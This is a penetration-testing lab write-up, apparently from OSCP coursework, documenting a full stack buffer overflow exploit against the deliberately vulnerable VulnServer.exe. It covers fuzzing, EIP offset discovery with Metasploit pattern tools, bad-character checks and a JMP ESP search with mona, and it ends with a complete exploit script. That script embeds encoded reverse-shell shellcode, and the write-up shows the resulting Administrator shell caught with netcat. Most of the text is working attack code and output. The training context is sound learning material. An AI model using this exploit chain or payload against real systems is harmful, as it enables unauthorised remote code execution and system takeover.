

BUFFER OVERFLOW

1. Using the proof of concept from the following github post:

<https://github.com/stephenbradshaw/vulnserver>

(<https://medium.com/@ar33zy/exploiting-vulnserver-exe-intro-to-windows-exploitation-c4e4f141b7ff>).

a. I have observed the app listens on port **5555/ 9999**. I have first connected using **netcat** to the listening port to learn more about the appliance's behavior to different inputs, after conducting some research on the Internet as well.

b. No matter what command it is entered, excepting the **exit** command, the app behaves similarly, responding with a generic answer: **">I can break rules too!"** ☺

c. Analyzing the code found, by accessing the suggested forum at: <https://forums.offensive-security.com/showthread.php?t=2231>, we observed that the command sent towards the app in the particular example was **AUTH**:

```
req1 = "AUTH " + "\x41" * 1072
s = socket (socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect((server, port))
    print repr(s.recv(1024))
    s.send(req1)
```

d. Therefore, I have developed a python script (**fuzzer.py**) that will send data, in chunks of 50 bytes to the application, using the AUTH command, in order to crash it:

```
#!/usr/bin/python
import socket
import time
from time import sleep

buffer = ["\x41"]
counter = 50
while len(buffer) <= 30:
    buffer.append("\x41"*counter)
    counter = counter + 50

for string in buffer:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.11.23.114',5555))
    try:
        print "Fuzzing VulnServer.exe with %s bytes" % len(string)
        try:
            s.send("AUTH " + string)
            data = s.recv(1024)
            if str(data) != "":
                print "Passed a buffer with %s bytes" %len(string)
                print "\r\n"
                sleep(1)
            s.close()
        except:
            print "The VulnServer.exe app just crashed"
            break
    except:
        print "Connection Refused"
        break
```

```
Fuzzing VulnServer.exe with 1000 bytes
Passed a buffer with 1000 bytes

Fuzzing VulnServer.exe with 1050 bytes
Passed a buffer with 1050 bytes

Fuzzing VulnServer.exe with 1100 bytes
The VulnServer.exe app just crashed
```

```

Registers (FPU)
EAX 00000000
ECX 41414141
EDX 00000036
EBX 017456C0
ESP 01D0F5C0 ASCII "AAAAAA"
EBP 41414141
ESI 00000000
EDI 00000000
EIP 41414141
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
D 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FDD0000(FF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NE,NA,NA,NS,PE,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
FCW 02F0 Cond 3 2 1 0 Err E S P U O Z D I
FST 027F Prec NEAR,53 Mask 0 0 0 0 0 0 0 0 (GT)
1 1 1 1 1 1

```

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1100
```

h. I have created another Python script (**EIP_bytes_identification.py**) which was used to send the string with unique characters:

```
#!/usr/bin/python
import socket

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.11.23.114',5555))
try:
    s.send("AUTH " + buffer)
    data = s.recv(1024)
    s.close()
except:
    pass
s.close()
```

i. The EIP register gets overwritten with the value: **37694236** (equivalent to the string: **6Bi7** - why? because the x86 architecture stores the addresses in memory in Little Endian format):

```
Registers (FPU)
EAX 00000000
ECX 69423169
EDX 00000021
EBX 011D56C0
ESP 01CDFF5C ASCII "Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8
EBP 69423169
ESI 00000000
EDI 00000000
EIP 37694236
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD0000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty q
ST1 empty q
ST2 empty q
ST3 empty q
ST4 empty q
ST5 empty q
ST6 empty q
ST7 empty q
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,S3 Mask 1 1 1 1 1 1
```

j. I have used the **pattern_offset.rb** ruby script to identify the location of the characters that were written on the EIP register, for the given set of characters. It was the position **1040**:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1100 -q 37694236

[*] Exact match at offset 1040

k. I have created a new Python script (**EIP_bytes_verification.py**) to verify if the above findings are correct:

```
#!/usr/bin/python
import socket

buffer = "A" * 1040 + "B" * 4 + "C" * (1100-1040-4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.11.23.114',5555))
try:
    s.send("AUTH " + buffer)
    data = s.recv(1024)
    s.close()
except:
    pass
s.close()
```

l. The calculation was correct, the EIP register was overwritten with capitalized **"B"** letters (**\x42**) and the address to which the ESP register points (**01D3FE5C**), was overwritten with capitalizes **"C"** letters (**\x43**).

However, I have only written a total amount of **52 bytes** of capitalized “C” letters (**\$+34**) and I will need around **350 to 400** bytes for a shell.

```

Registers (FPU)
EAX 00000000
ECX 41414141
EDX 00000021
EBX 012456C0
ESP 0103FE5C ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
EBP 41414141
ESI 00000000
EDI 00000000
EIP 42424242
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
D 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDD000(FFF)
T 0 GS 0000 NULL
D 0
0 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty q
ST1 empty q
ST2 empty q
ST3 empty q
ST4 empty q
ST5 empty q
ST6 empty q
ST7 empty q
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 (GT)
FCW 027F Prec NERR,53 Mask 1 1 1 1 1 1
$ ==> 43434343 CCCC
$+4 43434343 CCCC
$+8 43434343 CCCC
$+C 43434343 CCCC
$+10 43434343 CCCC
$+14 43434343 CCCC
$+18 43434343 CCCC
$+1C 43434343 CCCC
$+20 43434343 CCCC
$+24 43434343 CCCC
$+28 43434343 CCCC
$+2C 43434343 CCCC
$+30 43434343 CCCC
$+34 43434343 CCCC

```

m. I have modified the **EIP_bytes_verification.py** script, by adding an extra amount of **348** bytes to the buffer sent, in order to sum a total number of **400** bytes - enough for a shell

```

...
buffer = "A" * 1040 + "B" * 4 + "C" * (1448-1040-4)
...

```

n. As expected, I have obtained a total amount of **400 bytes (\$+190)** at my disposal for the shell:

```

$+190 43434343 CCCC
$+194 00000000
$+198 00000000

```

o. Next, I have verified the application's behavior to every possible hex character, in order to remove the bad ones. This was achieved using the following python script (**Bad_characters_verification.py**):

```
#!/usr/bin/python
import socket

hex_chars = ("\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\x0C\\x0D\\x0E\\x0F"
 "\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1A\\x1B\\x1C\\x1D\\x1E\\x1F"
 "\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2A\\x2B\\x2C\\x2D\\x2E\\x2F"
 "\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3A\\x3B\\x3C\\x3D\\x3E\\x3F"
 "\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x4B\\x4C\\x4D\\x4E\\x4F"
 "\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A\\x5B\\x5C\\x5D\\x5E\\x5F"
 "\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x6B\\x6C\\x6D\\x6E\\x6F"
 "\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A\\x7B\\x7C\\x7D\\x7E\\x7F"
 "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8A\\x8B\\x8C\\x8D\\x8E\\x8F"
 "\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9A\\x9B\\x9C\\x9D\\x9E\\x9F"
 "\\xA0\\xA1\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\\xA9\\xAA\\xAB\\xAC\\xAD\\xAE\\xAF"
 "\\xB0\\xB1\\xB2\\xB3\\xB4\\xB5\\xB6\\xB7\\xB8\\xB9\\xBA\\xBB\\xBC\\xBD\\xBE\\xBF"
 "\\xC0\\xC1\\xC2\\xC3\\xC4\\xC5\\xC6\\xC7\\xC8\\xC9\\xCA\\xCB\\xCC\\xCD\\xCE\\xCF"
 "\\xD0\\xD1\\xD2\\xD3\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xDB\\xDC\\xDD\\xDE\\xDF"
 "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF"
 "\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFE\\xFF")

buffer = "A" * 1040 + "B" * 4 + hex_chars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.11.23.114', 5555))
try:
    s.send("AUTH " + buffer)
    data = s.recv(1024)
    s.close()
except:
    pass
s.close()
```

p. Excepting the null character (`\x00`) no other characters should be removed.

q. I have used **mona.py** (!**mona modules**) to identify the modules in memory (used by our app - VulnServer.exe) that have no bad characters, have no memory protections such as DEP, or ASLR present:

Module info :									
Base	Top	Size	Rebase	SafeSEH	ASLR	NXCompat	OS Dll	Version	Module name & Path
0x77730000	0x77787000	0x00057000	True	True	True	True	True	6.1.7600.16385	[SHLWAPI.dll] (C:\Windows\system32\SHLWAPI.dll)
0x4d500000	0x4d500000	0x00000000	True	True	True	True	True	10.00.9200.01	[infotool.dll] (C:\Windows\infotool.dll)
0x65000000	0x65d10000	0x0001d000	False	False	False	False	False	-1.0-	[VulnServer.exe] (C:\Users\Administrator\Desktop\Tools\VulnServer.exe)
0x7c900000	0x7c900000	0x00000000	True	True	True	True	True	6.1.7600.16385	[kernel32.dll] (C:\Windows\system32\kernel32.dll)
0x74e90000	0x74e90000	0x00040000	True	True	True	True	True	6.1.7600.16385	[UserTheme.dll] (C:\Windows\system32\UserTheme.dll)
0x74a10000	0x74a20000	0x00010000	True	True	True	True	True	6.1.7600.16385	[dwmapi.dll] (C:\Windows\system32\dwmapi.dll)
0x77d60000	0x77e90000	0x00130000	True	True	True	True	True	6.1.7600.16385	[ntdll.dll] (C:\Windows\SYSTEM32\ntdll.dll)
0x77ee0000	0x77ee9000	0x00019000	True	True	True	True	True	6.1.7600.16385	[sechost.dll] (C:\Windows\SYSTEM32\sechost.dll)

Base	Offset	Entry	Name	File Version	Path
65D00000	00010000	65D111A4	VulnServ	10.00.30319.04	C:\Users\Administrator\Desktop\Tools\VulnServer.exe
65E50000	00172000	6EC98E00	MSUCR100	10.00.30319.1	C:\Windows\MSUCR100.dll
65E90000	00005000	6E954200	MSUCP100	10.00.30319.1	C:\Windows\MSUCP100.dll
70DC0000	00005000	70CC10F6	MSIMG32	6.1.7600.16385	C:\Windows\system32\MSIMG32.dll
71140000	00084000	711419A9	COMCTL32	5.82 (win7_rtm)	C:\Windows\WinSxS\x86_microsoft.windows.common-controls_...
74A10000	00013000	74A11D3F	dwmapl	6.1.7600.16385	C:\Windows\system32\dwmapl.dll
74C90000	00040000	74C9A2D0	UkTheme	6.1.7600.16385	C:\Windows\system32\UkTheme.dll
75440000	00005000	754415D0	wshtcpip	6.1.7600.16385	C:\Windows\System32\wshtcpip.dll
758F0000	00030000	758F145D	mswsock	6.1.7600.16385	C:\Windows\system32\mswsock.dll
76920000	00040000	769270E9	KERNELBASE	6.1.7600.16385	C:\Windows\system32\KERNELBASE.dll
761B0000	00004000	761FBDE4	kernel32	6.1.7600.16385	C:\Windows\system32\kernel32.dll
76390000	00000000	7639136C	LPK	6.1.7600.16385	C:\Windows\system32\LPK.dll
76430000	00040000	76439C09	GDI32	6.1.7601.17514	C:\Windows\system32\GDI32.dll
76480000	0008F000	76483FB1	OLEAUT32	6.1.7601.17514	C:\Windows\system32\OLEAUT32.dll
76510000	0009D000	76543FD7	USP10	1.0626.7601.175	C:\Windows\system32\USP10.dll
76590000	000C9000	765CF7C9	USER32	6.1.7601.17514	C:\Windows\system32\USER32.dll
775F0000	00035000	775F145D	WS2_32	6.1.7600.16385	C:\Windows\system32\WS2_32.dll
77730000	00057000	77749BA6	SHLWAPI	6.1.7600.16385	C:\Windows\system32\SHLWAPI.dll
77790000	0015C000	777DBA3D	ole32	6.1.7600.16385	C:\Windows\system32\ole32.dll
777F0000	000A0000	77790495	ADVAPI32	6.1.7600.16385	C:\Windows\system32\ADVAPI32.dll
77990000	000CC000	7799168B	NSCTF	6.1.7600.16385	C:\Windows\system32\NSCTF.dll
77A60000	000AC000	77A6A472	msvcp67	7.0.7600.16385	C:\Windows\system32\msvcp67.dll
77B90000	000A1000	77CE2439	RPCRT4	6.1.7600.16385	C:\Windows\system32\RPCRT4.dll
77D60000	0013C000		ntdll	6.1.7600.16385	C:\Windows\SYSTEM32\ntdll.dll
77ED0000	00019000	77ED4975	sechost	6.1.7600.16385	C:\Windows\SYSTEM32\sechost.dll
77EF0000	0001F000	77EF1355	IMM32	6.1.7601.17514	C:\Windows\system32\IMM32.DLL
77F10000	00006000	77F11782	NSI	6.1.7600.16385	C:\Windows\system32\NSI.dll

r. Next I have conducted searches for a place in memory that would contain an instruction as **JMP ESP** (or a sequence of commands as **PUSH ESP \r\n RETN**). This will provide a reliable, indirect way to reach the memory indicated by the ESP register, regardless of its absolute value. As searching for a JMP ESP in Immunity Debugger will only display addresses from the code section, I have executed a more exhaustive binary search for a **JMP ESP** command. First I have identified the codes for such commands using the **nasm_shell.rb** ruby script:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

```
nasm > jmp esp
00000000 FFE4      jmp esp
nasm > push esp
00000000 54      push esp
nasm > retn
00000000 C3      ret
nasm >
```

s. I have searched for the FFE4 instruction in Immunity Debugger (**!mona find -s "\xff\xe4" -m VulnServer.exe**) – one pointer found:

```
----- Mona command started on 2018-01-25 09:46:48 (v2)
0BADF000 [+] Processing arguments and criteria
0BADF000 - Pointer access level : #
0BADF000 - Only querying modules VulnServer.exe
0BADF000 [+] Generating module info table, hang on...
0BADF000 - Processing modules
0BADF000 - Done. Let's rock 'n roll.
0BADF000 - Treating search pattern as bin
0BADF000 [+] Searching from 0x65d00000 to 0x65d1d000
0BADF000 [+] Preparing output file 'find.txt'
0BADF000 - (Re)setting logfile find.txt
0BADF000 [+] Writing results to find.txt
0BADF000 - Number of pointers of type "\xff\xe4" : 1
0BADF000 [+] Results :
65D11D71 : "\xff\xe4" | (PAGE_EXECUTE_READ) [VulnServer.exe]
0BADF000 Found a total of 1 pointers
0BADF000 [+] This mona.py action took 0:00:00.826000

!mona find -s "\xff\xe4" -m VulnServer.exe
```

t. The address **0x65d11d71** contains a **JMP ESP** instruction:

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 351 (iteration=0)

x86/shikata_ga_nai chosen with final size 351

Payload size: **351 bytes**

Final size of c file: 1500 bytes

unsigned char buf[] =

```
"\xbe\xe9\x5e\xd1\x15\xd9\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x31\x77\x12\x83\xc7\x04\x03\x9e\x50\x33\xe0\x9c\x85\x31"
"\x0b\x5c\x56\x56\x85\xb9\x67\x56\xf1\xca\xd8\x66\x71\x9e\xd4"
"\x0d\xd7\x0a\x6e\x63\xf0\x3d\xc7\xce\x26\x70\xd8\x63\x1a\x13"
"\x5a\x7e\x4f\xf3\x63\xb1\x82\xf2\xa4\xac\x6f\xa6\x7d\xba\xc2"
"\x56\x09\xf6\xde\xdd\x41\x16\x67\x02\x11\x19\x46\x95\x29\x40"
"\x48\x14\xfd\xf8\xc1\x0e\xe2\xc5\x98\xa5\xd0\xb2\x1a\x6f\x29"
"\x3a\xb0\x4e\x85\xc9\xc8\x97\x22\x32\xbf\xe1\x50\xcf\xb8\x36"
"\x2a\x0b\x4c\xac\x8c\xd8\xf6\x08\x2c\x0c\x60\xdb\x22\xf9\xe6"
"\x83\x26\xfc\x2b\xb8\x53\x75\xca\x6e\xd2\xcd\xe9\xaa\xbe\x96"
"\x90\xeb\x1a\x78\xac\xeb\xc4\x25\x08\x60\xe8\x32\x21\x2b\x65"
"\xf6\x08\xd3\x75\x90\x1b\xa0\x47\x3f\xb0\x2e\xe4\xc8\x1e\xa9"
"\x0b\xe3\xe7\x25\xf2\x0c\x18\x6c\x31\x58\x48\x06\x90\xe1\x03"
"\xd6\x1d\x34\x83\x86\xb1\xe7\x64\x76\x72\x58\x0d\x9c\x7d\x87"
"\x2d\x9f\x57\xa0\xc4\x5a\x30\xc5\x13\x64\xb4\xb1\x21\x64\x35"
"\xf9\xaf\x82\x5f\xed\xf9\x1d\xc8\x94\xa3\xd5\x69\x58\x7e\x90"
"\xaa\xd2\x8d\x65\x64\x13\xfb\x75\x11\xd3\xb6\x27\xb4\xec\x6c"
"\x4f\x5a\x7e\xeb\x8f\x15\x63\xa4\xd8\x72\x55\xbd\x8c\x6e\xcc"
"\x17\xb2\x72\x88\x50\x76\xa9\x69\x5e\x77\x3c\xd5\x44\x67\xf8"
"\xd6\xc0\xd3\x54\x81\x9e\x8d\x12\x7b\x51\x67\xcd\xd0\x3b\xef"
"\x88\x1a\xfc\x69\x95\x76\x8a\x95\x24\x2f\xcb\xaa\x89\xa7\xdb"
"\xd3\xf7\x57\x23\x0e\xbc\x68\x6e\x12\x95\xe0\x37\xc7\xa7\x6c"
"\xc8\x32\xeb\x88\x4b\xb6\x94\x6e\x53\xb3\x91\x2b\xd3\x28\xe8"
"\x24\xb6\x4e\x5f\x44\x93";
```



```
#!/usr/bin/python
import socket

shellcode = ("\xbe\xe9\x5e\xd1\x15\xd9\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x31\x77\x12\x83\xc7\x04\x03\x9e\x50\x33\xe0\x9c\x85\x31"
"\x0b\x5c\x56\x56\x85\xb9\x67\x56\xf1\xca\xd8\x66\x71\x9e\xd4"
"\x0d\xd7\x0a\x6e\x63\xf0\x3d\xc7\xce\x26\x70\xd8\x63\x1a\x13"
"\x5a\x7e\x4f\xf3\x63\xb1\x82\xf2\xa4\xac\x6f\xa6\x7d\xba\xc2"
"\x56\x09\xf6\xde\xdd\x41\x16\x67\x02\x11\x19\x46\x95\x29\x40"
"\x48\x14\xfd\xf8\xc1\x0e\xe2\xc5\x98\xa5\xd0\xb2\x1a\x6f\x29"
"\x3a\xb0\x4e\x85\xc9\xc8\x97\x22\x32\xbf\xe1\x50\xcf\xb8\x36"
"\x2a\x0b\x4c\xac\x8c\xd8\xf6\x08\x2c\x0c\x60\xdb\x22\xf9\xe6"
"\x83\x26\xfc\x2b\xb8\x53\x75\xca\x6e\xd2\xcd\xe9\xaa\xbe\x96"
"\x90\xeb\x1a\x78\xac\xeb\xc4\x25\x08\x60\xe8\x32\x21\x2b\x65"
"\xf6\x08\xd3\x75\x90\x1b\xa0\x47\x3f\xb0\x2e\xe4\xc8\x1e\xa9"
"\x0b\xe3\xe7\x25\xf2\x0c\x18\x6c\x31\x58\x48\x06\x90\xe1\x03"
"\xd6\x1d\x34\x83\x86\xb1\xe7\x64\x76\x72\x58\x0d\x9c\x7d\x87"
"\x2d\x9f\x57\xa0\xc4\x5a\x30\xc5\x13\x64\xb4\xb1\x21\x64\x35"
"\xf9\xaf\x82\x5f\xed\xf9\x1d\xc8\x94\xa3\xd5\x69\x58\x7e\x90"
"\xaa\xd2\x8d\x65\x64\x13\xfb\x75\x11\xd3\xb6\x27\xb4\xec\x6c"
"\x4f\x5a\x7e\xeb\x8f\x15\x63\xa4\xd8\x72\x55\xbd\x8c\x6e\xcc"
"\x17\xb2\x72\x88\x50\x76\xa9\x69\x5e\x77\x3c\xd5\x44\x67\xf8"
"\xd6\xc0\xd3\x54\x81\x9e\x8d\x12\x7b\x51\x67\xcd\xd0\x3b\xef"
"\x88\x1a\xfc\x69\x95\x76\x8a\x95\x24\x2f\xcb\xaa\x89\xa7\xdb"
"\xd3\xf7\x57\x23\x0e\xbc\x68\x6e\x12\x95\xe0\x37\xc7\xa7\x6c"
"\xc8\x32\xeb\x88\x4b\xb6\x94\x6e\x53\xb3\x91\x2b\xd3\x28\xe8"
"\x24\xb6\x4e\x5f\x44\x93")

buffer = "A" * 1040 + "\x71\x1d\xd1\x65" + "\x90" * 16 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.11.23.114', 5555))
try:
    s.send("AUTH " + buffer)
    data = s.recv(1024)
    s.close()
except:
    pass
s.close()
```

w. I was extra careful of adding some free space between the EIP address and the shellcode for the decoder, otherwise it will overwrite the first few bytes of the shellcode rendering it useless. This was fulfilled by adding some **No Operation** Instructions (`\x90`). The **NOP** instructions will do nothing - will instruct the CPU to move to the next instruction.

```
...
buffer = "A" * 1040 + "\x71\x1d\xd1\x65" + "\x90" * 16 + shellcode
...
```

x. The final step was to create a netcat listener and to execute the final Python script. I have **obtained shell on the targeted machine as Administrator**

```
root@kali: /home/OS-34631/Documents/OSCP/Chapter_7/Windows_BO
root@kali: /home/OS-34631/Documents/OSCP/Chapter_7/Windows_BO/Vulnserver 104x50
root@kali: /home/OS-34631/Documents/OSCP/Chapter_7/Windows_BO/Vulnserver# ./python_shell.py
root@kali: /home/OS-34631/Documents/OSCP/Chapter_7/Windows_BO/Vulnserver#

root@kali: /home/OS-34631/Documents/OSCP/Chapter_7/Windows_BO 104x50
root@kali: /home/OS-34631/Documents/OSCP/Chapter_7/Windows_BO# nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.116] from (UNKNOWN) [10.11.23.114] 49167
Microsoft Windows [Version 6.1.7601]
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C:\Users\Administrator\Desktop\Tools>whoami
whoami
offsec-lab\offsec

C:\Users\Administrator\Desktop\Tools>net localgroup Administrators
net localgroup Administrators
Alias name      Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members
-----
offsec
The command completed successfully.

C:\Users\Administrator\Desktop\Tools>
```